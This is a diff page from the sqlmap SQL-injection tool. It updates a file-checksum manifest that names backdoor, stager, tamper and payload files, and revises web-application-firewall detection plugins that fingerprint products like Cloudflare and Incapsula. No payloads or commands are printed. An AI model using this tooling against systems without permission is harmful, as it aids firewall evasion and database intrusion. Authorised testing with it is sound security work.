|
||||
4adc07051b727f1525cf0a2d619221f8 plugins/generic/takeover.py
|
||||
4419b13a4b78d7e9e4a2632302344a1a plugins/generic/users.py
|
||||
a37c21cc3fa5c0c220d33d450bf503ed plugins/generic/takeover.py
|
||||
e762c77ff79e4c138145501f6fbb10cb plugins/generic/users.py
|
||||
1e5532ede194ac9c083891c2f02bca93 plugins/__init__.py
|
||||
5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_
|
||||
158bfa168128393dde8d6ed11fe9a1b8 shell/backdoors/backdoor.aspx_
|
||||
@@ -225,8 +233,8 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_
|
||||
4e6d2094bd6afe35032fb8bc8a86e83c shell/stagers/stager.aspx_
|
||||
0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_
|
||||
2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_
|
||||
4eaeef94314956e4517e5310a28d579a sqlmapapi.py
|
||||
a35b5b83c12841fdf3925190c9d24299 sqlmap.py
|
||||
cd90da0474d7b1a67d7b40d208493375 sqlmapapi.py
|
||||
ad5f9980c9bdca753578292720a5afe0 sqlmap.py
|
||||
523dab9e1093eb59264c6beb366b255a tamper/0x2char.py
|
||||
3a1697585ae4e7bf315e9dda97d6f321 tamper/apostrophemask.py
|
||||
d7a119a74be9b385ee3884fb5e6af041 tamper/apostrophenullencode.py
|
||||
@@ -253,10 +261,10 @@ ef0639557a79e57b06296c4bc223ebef tamper/htmlencode.py
|
||||
1e5532ede194ac9c083891c2f02bca93 tamper/__init__.py
|
||||
2dc49bcd6c55f4e2322b07fa92685356 tamper/least.py
|
||||
40d1ea0796fd91cb3cdd602e36daed15 tamper/lowercase.py
|
||||
a54b361da0ac6988d0b97bc79463615d tamper/luanginx.py
|
||||
1c4d622d1c2c77fc3db1f8b3849467ee tamper/modsecurityversioned.py
|
||||
f177a624c2cd3431c433769c6eb995e7 tamper/modsecurityzeroversioned.py
|
||||
91b63afdb96b1d51c12a14cbd425d310 tamper/multiplespaces.py
|
||||
efd1917c6ccc632f044084a30e0e0f98 tamper/nonrecursivereplacement.py
|
||||
dcf3458f9010ca41bc4b56804f15792c tamper/overlongutf8more.py
|
||||
a3a3cef042b864c4226b63f89548f939 tamper/overlongutf8.py
|
||||
89f8753a0ef65d2bb860c8864e9e935a tamper/percentage.py
|
||||
@@ -264,7 +272,6 @@ a47aafcbc1de2deb85160e29de46f748 tamper/plus2concat.py
|
||||
759b86cf3bb1d7871dc6489538253f94 tamper/plus2fnconcat.py
|
||||
078494e1217400b485ef653108d32699 tamper/randomcase.py
|
||||
28626e4b8c673228dcfe4f1627a9e08b tamper/randomcomments.py
|
||||
938bfac6e55a8823e4a66cd29166d980 tamper/securesphere.py
|
||||
cac8a56f8cc6c14524ee392daa5ae2fd tamper/space2comment.py
|
||||
4e6da2aca962b6110652e5f83dce5cd7 tamper/space2dash.py
|
||||
7cdbae483262f66ef5d77521c59d9621 tamper/space2hash.py
|
||||
@@ -277,15 +284,15 @@ b55ed15af74ffefc4dc303646c7c6482 tamper/space2mssqlblank.py
|
||||
72a547bc3bf32dba0d1c3093988df8af tamper/space2plus.py
|
||||
a74cd6375c5d5d253e2e7014b00ecd33 tamper/space2randomblank.py
|
||||
93fc10b57586936cef05e88227c84ad0 tamper/sp_password.py
|
||||
041cb567dff6bb6e7389e12ab3fb84c6 tamper/symboliclogical.py
|
||||
690eb5200c9e61e54cd8952edaefda23 tamper/symboliclogical.py
|
||||
6679c4ffb7322315a738dcfa68c6fb7c tamper/unionalltounion.py
|
||||
51d20b5cb5a50fc2e44d39087f865d23 tamper/unmagicquotes.py
|
||||
0a7e97374019321ffc606d41535f26d6 tamper/unmagicquotes.py
|
||||
cc212839f55692d422beef3a8e22a8d4 tamper/uppercase.py
|
||||
f2b9eac52d346315f5705f71beeda791 tamper/varnish.py
|
||||
0e40966a51d1eb5d42a2159d2015a8a4 tamper/versionedkeywords.py
|
||||
0fba004bf1be6edbefbda89f23f4e518 tamper/versionedmorekeywords.py
|
||||
de532c4e3160039335010c499129d54f tamper/xforwardedfor.py
|
||||
b25b47ddeeb62e5857fd5ad17fd454b5 thirdparty/ansistrm/ansistrm.py
|
||||
d8279aa1633e2485ed751eb0361d1c8e tamper/xforwardedfor.py
|
||||
b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py
|
||||
8e775c25bc9e84891ad6fcb4f0005c23 thirdparty/beautifulsoup/beautifulsoup.py
|
||||
cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py
|
||||
@@ -360,7 +367,7 @@ a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py
|
||||
afd97f26bffa0532ee4eb4f5f8ec1ab7 thirdparty/socks/socks.py
|
||||
d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py
|
||||
ea649aae139d8551af513769dd913dbf thirdparty/termcolor/termcolor.py
|
||||
d97198005a387a9d23916c616620ef7f thirdparty/termcolor/termcolor.py
|
||||
bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py
|
||||
a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py
|
||||
855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py
|
||||
@@ -390,37 +397,40 @@ d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqlud
|
||||
ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
|
||||
0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
|
||||
336d0b0d2be333f5a6184042c85464fd waf/360.py
|
||||
667cacdcd4ba650c9a436f081a79cd64 waf/airlock.py
|
||||
9bf2e07cdc54a661aea056223caccfb6 waf/aesecure.py
|
||||
a73a40d201b39f3387714c59934331e4 waf/airlock.py
|
||||
7da7970b45512b0233450dbd8088fde0 waf/anquanbao.py
|
||||
b61329e8f8bdbf5625f9520ec010af1f waf/armor.py
|
||||
dec64f18c23962d279cc1cde6469afed waf/asm.py
|
||||
2fe5335fde7a7f5b19d2f363a55ce805 waf/asm.py
|
||||
6ea7b4ff5f111acb0b24186ef82c3f2d waf/aws.py
|
||||
ef722d062564def381b1f96f5faadee3 waf/baidu.py
|
||||
07bc4b531d2353c9acfbfcada94ff12b waf/barracuda.py
|
||||
82efee4639f7be75041c0145a6bc8578 waf/bigip.py
|
||||
44f724ab7d333397975fecdf7e50be56 waf/bigip.py
|
||||
6a2834daf767491d3331bd31e946d540 waf/binarysec.py
|
||||
41e399dbfe7b904d5aacfb37d85e1fbf waf/blockdos.py
|
||||
c52c6974c0dae6815f27cfdee6121d7b waf/chinacache.py
|
||||
2f3bbf43be94d4e9ffe9f80e8483d62f waf/ciscoacexml.py
|
||||
ba84f296cb52f5e78a0670b98d7763fa waf/cloudbric.py
|
||||
feda0f2a5172325f39e8e3e38c45f73d waf/cloudflare.py
|
||||
b16b1c15532103346d5e2f5b8bd1ed36 waf/cloudfront.py
|
||||
a1d16d7106c9c66072aa58530c288515 waf/cloudflare.py
|
||||
a8affab0838c6a1fe683d5b7333d7a69 waf/cloudfront.py
|
||||
ac96f34c254951d301973617064eb1b5 waf/comodo.py
|
||||
c84e515440fe482476c1f2687bd9960f waf/crawlprotect.py
|
||||
56d58c982c2cf775e0f8dc6767f336fd waf/datapower.py
|
||||
1538b661e35843074f4599be93b3fae9 waf/denyall.py
|
||||
0182d23b34cf903537f77f4ec4b144bf waf/distil.py
|
||||
67256152eef36a85498b49a1f0e4e328 waf/distil.py
|
||||
aade02eb8f6a4a214a53db0fd0f2aae6 waf/dosarrest.py
|
||||
357cbc0a17a44e4f64062b799c718e0b waf/dotdefender.py
|
||||
9760a22990f55ab51ea4eedabd939055 waf/dotdefender.py
|
||||
7ec3f2a90914b501100685aa66aadf02 waf/edgecast.py
|
||||
954bebd4a246d8b88794de00ccaecd3b waf/expressionengine.py
|
||||
a2ce6cde682f78e1fd561dc40611877e waf/fortiweb.py
|
||||
eb56ac34775cc3c5f721ec967d04b283 waf/generic.py
|
||||
ade1299c435db7b9e35cf1166ed9d859 waf/generic.py
|
||||
1c70655551b8296ceeb19292a342e620 waf/hyperguard.py
|
||||
2a52c09e4ce1f2a5976ce53b415ef496 waf/incapsula.py
|
||||
0359ca07b6e3ee0e4505ad5bfaa1de79 waf/incapsula.py
|
||||
1e5532ede194ac9c083891c2f02bca93 waf/__init__.py
|
||||
30ae98958fb35061d9a4145cc74c0489 waf/isaserver.py
|
||||
5a5c9452b9779bf39c208ebe26c98fdb waf/jiasule.py
|
||||
898f53c12133da3e946301f4aa97d538 waf/knownsec.py
|
||||
81e6bf619c7bb73c4b62e2439e60e95a waf/kona.py
|
||||
15a50edd48961ea168648a370f42e123 waf/kona.py
|
||||
b17a154fe7959619eaafffa60e14199f waf/modsecurity.py
|
||||
d09a50713daf3c0a2594ed4f50c57adb waf/naxsi.py
|
||||
bf573d01d56e585f4ad57132bc594934 waf/netcontinuum.py
|
||||
@@ -447,33 +457,33 @@ dffa9cebad777308714aaf83b71635b4 waf/teros.py
|
||||
b37210459a13de40bf07722c4d032c33 waf/trafficshield.py
|
||||
fe01932df9acea7f6d23f03c6b698646 waf/urlscan.py
|
||||
a687449cd4e45f69e33b13d41e021480 waf/uspses.py
|
||||
f3a81da13ee098e94edd965ea4b37b04 waf/varnish.py
|
||||
2d2740972d887d099e9cc8f132a8f147 waf/varnish.py
|
||||
20840afc269920826deac2b6c00d6b9c waf/wallarm.py
|
||||
11205abf397ae9072adc3234b656ade9 waf/watchguard.py
|
||||
9bf34539f382987490d2239d8ef0a651 waf/webappsecure.py
|
||||
5b1eefdc39d449a74fce0564364b0e09 waf/webknight.py
|
||||
6802052ddae241e2f4f78974ed11904a waf/webknight.py
|
||||
11a5c6b10ced11e505a74e36ee2503b3 waf/wordfence.py
|
||||
68e332530fab216d017ede506c3fec2f waf/yundun.py
|
||||
bea35ba732ccc9548e6c4023cea6832b waf/yunsuo.py
|
||||
705ac8663513c12150cb5623ef4a04fb waf/zenedge.py
|
||||
dc394c5b90ada0a5d5853b5ad1f7d56d xml/banner/generic.xml
|
||||
47f8f6623841232a93c5229d6c1bebfe waf/zenedge.py
|
||||
e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml
|
||||
d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml
|
||||
7b21aeb3ad66d7686eacd23a6346292c xml/banner/mysql.xml
|
||||
9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml
|
||||
c26cd4fa986ddc9f6d92dd87c8fc61cb xml/banner/postgresql.xml
|
||||
4970709ca31bcaea5eb79547a132606a xml/banner/server.xml
|
||||
5f8975d03665aad58c3ee8acea85b06b xml/banner/server.xml
|
||||
d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml
|
||||
58be20a3b29a9108d043786907700469 xml/banner/set-cookie.xml
|
||||
5fa1805d3007c68b051f2c70afcf41ed xml/banner/set-cookie.xml
|
||||
d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
|
||||
350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml
|
||||
817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml
|
||||
201b8bb7888f500294a9831bb47ce7a7 xml/boundaries.xml
|
||||
0d0d4bd0e06c99dd8eb4f92acc25caf3 xml/errors.xml
|
||||
ccb5e02a692f75d11b7fd00f1db48bf5 xml/banner/x-powered-by.xml
|
||||
385570003bf7d84f2502191eae8268c6 xml/boundaries.xml
|
||||
a676d93d413b07d36495201d88671253 xml/errors.xml
|
||||
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
|
||||
3318571fac8df058f19ea85780606643 xml/payloads/boolean_blind.xml
|
||||
b5b8b0aebce810e6cdda1b7106c96427 xml/payloads/error_based.xml
|
||||
11547289b99eaced5b55185a3230529a xml/payloads/boolean_blind.xml
|
||||
0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml
|
||||
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
|
||||
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
|
||||
c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml
|
||||
82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml
|
||||
92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml
|
||||
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
|
||||
a5eecbca03800851635817e0ca832a92 xml/queries.xml
|
||||
7bbf2a82593efffc68e8001299a5691f xml/queries.xml
|
||||
|
||||
@@ -2601,3 +2601,7 @@ waktu
|
||||
# WebGoat
|
||||
cookie
|
||||
login_count
|
||||
|
||||
# Misc
|
||||
|
||||
u_pass
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "aeSecure (aeSecure)"
|
||||
|
||||
def detect(get_page):
|
||||
retval = False
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, _ = get_page(get=vector)
|
||||
retval = headers.get("aeSecure-code") is not None
|
||||
retval |= all(_ in (page or "") for _ in ("aeSecure", "aesecure_denied.png"))
|
||||
if retval:
|
||||
break
|
||||
|
||||
return retval
|
||||
+1
-1
@@ -17,7 +17,7 @@ def detect(get_page):
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
_, headers, _ = get_page(get=vector)
|
||||
retval = re.search(r"\AAL[_-]?(SESS|LB)=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval = re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
if retval:
|
||||
break
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ def detect(get_page):
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, _, _ = get_page(get=vector)
|
||||
retval = "The requested URL was rejected. Please consult with your administrator." in (page or "")
|
||||
retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:"))
|
||||
if retval:
|
||||
break
|
||||
|
||||
|
||||
+1
-1
@@ -19,7 +19,7 @@ def detect(get_page):
|
||||
_, headers, code = get_page(get=vector)
|
||||
retval = headers.get("X-Cnection", "").lower() == "close"
|
||||
retval |= headers.get("X-WA-Info") is not None
|
||||
retval |= re.search(r"\ATS\w{4,}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval |= re.search(r"\bTS[0-9a-f]+=", headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None
|
||||
retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "ChinaCache (ChinaCache Networks)"
|
||||
|
||||
def detect(get_page):
|
||||
retval = False
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, code = get_page(get=vector)
|
||||
retval = code >= 400 and headers.get("Powered-By-ChinaCache") is not None
|
||||
|
||||
if retval:
|
||||
break
|
||||
|
||||
return retval
|
||||
+4
-1
@@ -17,12 +17,15 @@ def detect(get_page):
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, code = get_page(get=vector)
|
||||
retval = re.search(r"cloudflare", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
|
||||
if code >= 400:
|
||||
retval |= re.search(r"cloudflare", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval |= headers.get("cf-ray") is not None
|
||||
retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None
|
||||
retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Please complete the security check to access"))
|
||||
retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Sorry, you have been blocked"))
|
||||
retval |= any(_ in (page or "") for _ in ("CLOUDFLARE_ERROR_500S_BOX", "::CAPTCHA_BOX::"))
|
||||
|
||||
if retval:
|
||||
break
|
||||
|
||||
+1
-4
@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "CloudFront (Amazon)"
|
||||
@@ -18,9 +17,7 @@ def detect(get_page):
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
_, headers, _ = get_page(get=vector)
|
||||
|
||||
retval |= re.search(r"cloudfront", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
retval |= re.search(r"cloudfront", headers.get("X-Cache", ""), re.I) is not None
|
||||
retval |= headers.get("X-Amz-Cf-Id") is not None
|
||||
retval = re.search(r"Error from cloudfront", headers.get("X-Cache", ""), re.I) is not None
|
||||
|
||||
if retval:
|
||||
break
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "CrawlProtect (Jean-Denis Brun)"
|
||||
|
||||
def detect(get_page):
|
||||
retval = False
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, _, code = get_page(get=vector)
|
||||
retval = code >= 400 and "This site is protected by CrawlProtect" in (page or "")
|
||||
|
||||
return retval
|
||||
@@ -5,9 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "Distil Web Application Firewall Security (Distil Networks)"
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@ def detect(get_page):
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, _ = get_page(get=vector)
|
||||
retval = headers.get("X-dotDefender-denied", "") == "1"
|
||||
retval |= "dotDefender Blocked Your Request" in (page or "")
|
||||
retval |= any(_ in (page or "") for _ in ("dotDefender Blocked Your Request", '<meta name="description" content="Applicure is the leading provider of web application security', "Please contact the site administrator, and provide the following Reference ID:"))
|
||||
if retval:
|
||||
break
|
||||
|
||||
|
||||
+1
-1
@@ -26,7 +26,7 @@ def detect(get_page):
|
||||
|
||||
if code >= 400 or (IDS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))):
|
||||
if code is not None:
|
||||
kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in headers.headers or [] if not _.startswith("URI")), page)
|
||||
kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), page)
|
||||
|
||||
retval = True
|
||||
break
|
||||
|
||||
+2
-1
@@ -19,7 +19,8 @@ def detect(get_page):
|
||||
page, headers, _ = get_page(get=vector)
|
||||
retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
|
||||
retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None
|
||||
retval |= "Incapsula incident ID" in (page or "")
|
||||
retval |= any(_ in (page or "") for _ in ("Incapsula incident ID", "_Incapsula_Resource?", "?subject=WAF Block Page:"))
|
||||
retval |= all(_ in (page or "") for _ in ("Application Firewall Error", "If you feel you have been blocked in error, please contact Customer Support"))
|
||||
retval |= headers.get("X-Iinfo") is not None
|
||||
if retval:
|
||||
break
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@ def detect(get_page):
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, code = get_page(get=vector)
|
||||
retval = code in (400, 403, 501) and re.search(r"Reference #[0-9a-f.]+", page or "", re.I) is not None
|
||||
retval = code in (400, 403, 501) and all(_ in (page or "") for _ in ("Access Denied", "You don't have permission to access", "on this server", "Reference"))
|
||||
retval |= re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
if retval:
|
||||
break
|
||||
|
||||
+1
-5
@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "Varnish FireWall (OWASP)"
|
||||
@@ -17,10 +16,7 @@ def detect(get_page):
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, code = get_page(get=vector)
|
||||
retval = headers.get("X-Varnish") is not None
|
||||
retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None
|
||||
retval |= re.search(r"varnish", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
retval |= code == 404 and re.search(r"\bXID: \d+", page or "") is not None
|
||||
retval = code == 404 and re.search(r"\bXID: \d+", page or "") is not None
|
||||
retval |= code >= 400 and "Request rejected by xVarnish-WAF" in (page or "")
|
||||
if retval:
|
||||
break
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user